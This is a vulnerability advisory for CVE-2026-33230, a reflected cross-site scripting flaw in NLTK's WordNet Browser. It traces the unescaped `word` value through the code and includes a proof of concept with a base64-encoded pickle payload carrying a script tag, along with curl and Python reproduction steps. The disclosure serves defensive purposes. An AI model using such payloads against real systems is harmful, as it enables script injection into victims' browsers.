Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk

### Summary `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_<payload>` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. ### Details The vulnerable flow is in `nltk/app/wordnet_app.py`: - [`nltk/app/wordnet_app.py:144`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L144) - Requests starting with `lookup_` are handled as HTML responses: - `page, word = page_from_href(sp)` - [`nltk/app/wordnet_app.py:755`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L755) - `page_from_href()` calls `page_from_reference(Reference.decode(href))` - [`nltk/app/wordnet_app.py:769`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L769) - `word = href.word` - [`nltk/app/wordnet_app.py:796`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L796) - If no results are found, `word` is inserted directly into the HTML body: - `body = "The word or words '%s' were not found in the dictionary." % word` This is inconsistent with the `search` route, which does escape user input: - [`nltk/app/wordnet_app.py:136`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L136) - `word = html.escape(...)` As a result, a malicious `lookup_...` payload can inject script into the response page. The issue is exploitable because: - `Reference.decode()` accepts attacker-controlled base64-encoded pickle data for the URL state. - The decoded `word` is reflected into HTML without `html.escape()`. - The server is started with `HTTPServer(("", port), MyServerHandler)`, so it listens on all interfaces by default, not just `localhost`. ### PoC 1. Start the WordNet Browser in an isolated Docker environment: ```bash docker run -d --name nltk-wordnet-web -p 8002:8002 \ nltk-sandbox \ python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)" ``` 2. Use the following crafted payload, which decodes to: ```python ("<script>alert(1)</script>", {}) ``` Encoded payload: ```text gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4= ``` 3. Request the vulnerable route: ```bash curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=" ``` 4. Observed result: ```text The word or words '<script>alert(1)</script>' were not found in the dictionary. ``` <img width="867" height="208" alt="127" src="https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6" /> I also validated the issue directly at function level in Docker: ```python import base64 import pickle from nltk.app.wordnet_app import page_from_href payload = base64.urlsafe_b64encode( pickle.dumps(("<script>alert(1)</script>", {}), -1) ).decode() page, word = page_from_href(payload) print(word) print("<script>alert(1)</script>" in page) ``` Observed output: ```text WORD= <script>alert(1)</script> HAS_SCRIPT= True ``` ### Impact This is a reflected XSS issue in the NLTK WordNet Browser web UI. An attacker who can convince a user to open a crafted `lookup_...` URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to: - run arbitrary script in the browser tab - manipulate the page content shown to the user - issue same-origin requests to other WordNet Browser routes - potentially trigger available UI actions in that local app context This primarily impacts users who run `nltk.app.wordnet_app` as a local or self-hosted HTTP service and open attacker-controlled links.

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Severity from

GitHub (reviewed advisory)

Weakness

CWE-79

Also known as

CVE-2026-33230, PYSEC-2026-2235

• github.com/nltk/nltk/security/advisories/GHSA-gfwx-w7gr-fvh7
• nvd.nist.gov/vuln/detail/CVE-2026-33230
• github.com/nltk/nltk/commit/1c3f799607eeb088cab2491dcf806ae83c29ad8f
• github.com/nltk/nltk/commit/40d0bc1d484a3458d6a63ecb5ba4957ab16ba14e
• github.com/nltk/nltk